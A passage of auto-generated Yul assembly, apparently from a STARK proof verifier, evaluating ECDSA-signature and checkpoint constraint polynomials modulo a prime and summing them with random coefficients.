mulmod(/*coefficients[265]*/ mload(0x2560),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x_diff_inv: column20_row8188 * (column20_row8184 - ecdsa/sig_config.shift_point.x) - 1.
let val := addmod(
mulmod(
/*column20_row8188*/ mload(0x3e80),
addmod(
/*column20_row8184*/ mload(0x3e60),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[266] + coefficients[267] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[266]*/ mload(0x2580),
mulmod(/*coefficients[267]*/ mload(0x25a0),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/z_nonzero: column20_row30 * column20_row4080 - 1.
let val := addmod(
mulmod(/*column20_row30*/ mload(0x3c80), /*column20_row4080*/ mload(0x3d00), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[268] + coefficients[269] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[268]*/ mload(0x25c0),
mulmod(/*coefficients[269]*/ mload(0x25e0),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/r_and_w_nonzero: column20_row2 * column20_row4090 - 1.
let val := addmod(
mulmod(/*column20_row2*/ mload(0x3b20), /*column20_row4090*/ mload(0x3d60), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 4096) - 1.
// val *= denominator_invs[21].
val := mulmod(val, mload(0x4980), PRIME)
// res += val * (coefficients[270] + coefficients[271] * adjustments[20]).
res := addmod(res,
mulmod(val,
add(/*coefficients[270]*/ mload(0x2600),
mulmod(/*coefficients[271]*/ mload(0x2620),
/*adjustments[20]*/mload(0x5080),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/x_squared: column20_row8176 - column19_row7 * column19_row7.
let val := addmod(
/*column20_row8176*/ mload(0x3e00),
sub(
PRIME,
mulmod(/*column19_row7*/ mload(0x3860), /*column19_row7*/ mload(0x3860), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[272] + coefficients[273] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[272]*/ mload(0x2640),
mulmod(/*coefficients[273]*/ mload(0x2660),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/on_curve: column19_row15 * column19_row15 - (column19_row7 * column20_row8176 + ecdsa/sig_config.alpha * column19_row7 + ecdsa/sig_config.beta).
let val := addmod(
mulmod(/*column19_row15*/ mload(0x3920), /*column19_row15*/ mload(0x3920), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(/*column19_row7*/ mload(0x3860), /*column20_row8176*/ mload(0x3e00), PRIME),
mulmod(/*ecdsa/sig_config.alpha*/ mload(0x2c0), /*column19_row7*/ mload(0x3860), PRIME),
PRIME),
/*ecdsa/sig_config.beta*/ mload(0x320),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[274] + coefficients[275] * adjustments[19]).
res := addmod(res,
mulmod(val,
add(/*coefficients[274]*/ mload(0x2680),
mulmod(/*coefficients[275]*/ mload(0x26a0),
/*adjustments[19]*/mload(0x5060),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/init_addr: column17_row22 - initial_ecdsa_addr.
let val := addmod(
/*column17_row22*/ mload(0x33a0),
sub(PRIME, /*initial_ecdsa_addr*/ mload(0x340)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[276] + coefficients[277] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[276]*/ mload(0x26c0),
mulmod(/*coefficients[277]*/ mload(0x26e0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_addr: column17_row4118 - (column17_row22 + 1).
let val := addmod(
/*column17_row4118*/ mload(0x36a0),
sub(PRIME, addmod(/*column17_row22*/ mload(0x33a0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[278] + coefficients[279] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[278]*/ mload(0x2700),
mulmod(/*coefficients[279]*/ mload(0x2720),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_addr: column17_row8214 - (column17_row4118 + 1).
let val := addmod(
/*column17_row8214*/ mload(0x36e0),
sub(PRIME, addmod(/*column17_row4118*/ mload(0x36a0), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(8192 * (trace_length / 8192 - 1)).
// val *= numerators[9].
val := mulmod(val, mload(0x4dc0), PRIME)
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[280] + coefficients[281] * adjustments[21]).
res := addmod(res,
mulmod(val,
add(/*coefficients[280]*/ mload(0x2740),
mulmod(/*coefficients[281]*/ mload(0x2760),
/*adjustments[21]*/mload(0x50a0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_value0: column17_row4119 - column20_row30.
let val := addmod(
/*column17_row4119*/ mload(0x36c0),
sub(PRIME, /*column20_row30*/ mload(0x3c80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[282] + coefficients[283] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[282]*/ mload(0x2780),
mulmod(/*coefficients[283]*/ mload(0x27a0),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_value0: column17_row23 - column19_row7.
let val := addmod(
/*column17_row23*/ mload(0x33c0),
sub(PRIME, /*column19_row7*/ mload(0x3860)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[20].
val := mulmod(val, mload(0x4960), PRIME)
// res += val * (coefficients[284] + coefficients[285] * adjustments[17]).
res := addmod(res,
mulmod(val,
add(/*coefficients[284]*/ mload(0x27c0),
mulmod(/*coefficients[285]*/ mload(0x27e0),
/*adjustments[17]*/mload(0x5020),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/req_pc_init_addr: column17_row150 - initial_checkpoints_addr.
let val := addmod(
/*column17_row150*/ mload(0x3520),
sub(PRIME, /*initial_checkpoints_addr*/ mload(0x360)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[286] + coefficients[287] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[286]*/ mload(0x2800),
mulmod(/*coefficients[287]*/ mload(0x2820),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/req_pc_final_addr: column17_row150 - final_checkpoints_addr.
let val := addmod(
/*column17_row150*/ mload(0x3520),
sub(PRIME, /*final_checkpoints_addr*/ mload(0x380)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(256 * (trace_length / 256 - 1)).
// val *= denominator_invs[22].
val := mulmod(val, mload(0x49a0), PRIME)
// res += val * (coefficients[288] + coefficients[289] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[288]*/ mload(0x2840),
mulmod(/*coefficients[289]*/ mload(0x2860),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/required_fp_addr: column17_row86 - (column17_row150 + 1).
let val := addmod(
/*column17_row86*/ mload(0x3460),
sub(PRIME, addmod(/*column17_row150*/ mload(0x3520), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[290] + coefficients[291] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[290]*/ mload(0x2880),
mulmod(/*coefficients[291]*/ mload(0x28a0),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/required_pc_next_addr: (column17_row406 - column17_row150) * (column17_row406 - (column17_row150 + 2)).
let val := mulmod(
addmod(
/*column17_row406*/ mload(0x3640),
sub(PRIME, /*column17_row150*/ mload(0x3520)),
PRIME),
addmod(
/*column17_row406*/ mload(0x3640),
sub(PRIME, addmod(/*column17_row150*/ mload(0x3520), 2, PRIME)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(256 * (trace_length / 256 - 1)).
// val *= numerators[10].
val := mulmod(val, mload(0x4de0), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[292] + coefficients[293] * adjustments[22]).
res := addmod(res,
mulmod(val,
add(/*coefficients[292]*/ mload(0x28c0),
mulmod(/*coefficients[293]*/ mload(0x28e0),
/*adjustments[22]*/mload(0x50c0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/req_pc: (column17_row406 - column17_row150) * (column17_row151 - column17_row0).
let val := mulmod(
addmod(
/*column17_row406*/ mload(0x3640),
sub(PRIME, /*column17_row150*/ mload(0x3520)),
PRIME),
addmod(
/*column17_row151*/ mload(0x3540),
sub(PRIME, /*column17_row0*/ mload(0x3200)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(256 * (trace_length / 256 - 1)).
// val *= numerators[10].
val := mulmod(val, mload(0x4de0), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[294] + coefficients[295] * adjustments[22]).
res := addmod(res,
mulmod(val,
add(/*coefficients[294]*/ mload(0x2900),
mulmod(/*coefficients[295]*/ mload(0x2920),
/*adjustments[22]*/mload(0x50c0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for checkpoints/req_fp: (column17_row406 - column17_row150) * (column17_row87 - column19_row9).
let val := mulmod(
addmod(
/*column17_row406*/ mload(0x3640),
sub(PRIME, /*column17_row150*/ mload(0x3520)),
PRIME),
addmod(
/*column17_row87*/ mload(0x3480),
sub(PRIME, /*column19_row9*/ mload(0x38a0)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(256 * (trace_length / 256 - 1)).
// val *= numerators[10].
val := mulmod(val, mload(0x4de0), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[296] + coefficients[297] * adjustments[22]).
res := addmod(res,
mulmod(val,
add(/*coefficients[296]*/ mload(0x2940),
mulmod(/*coefficients[297]*/ mload(0x2960),
/*adjustments[22]*/mload(0x50c0),
PRIME)),
PRIME),
PRIME)
}
mstore(0, res)
return(0, 0x20)
}
}
}
}
// ---------- End of auto-generated code. ---------- | True | [
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|
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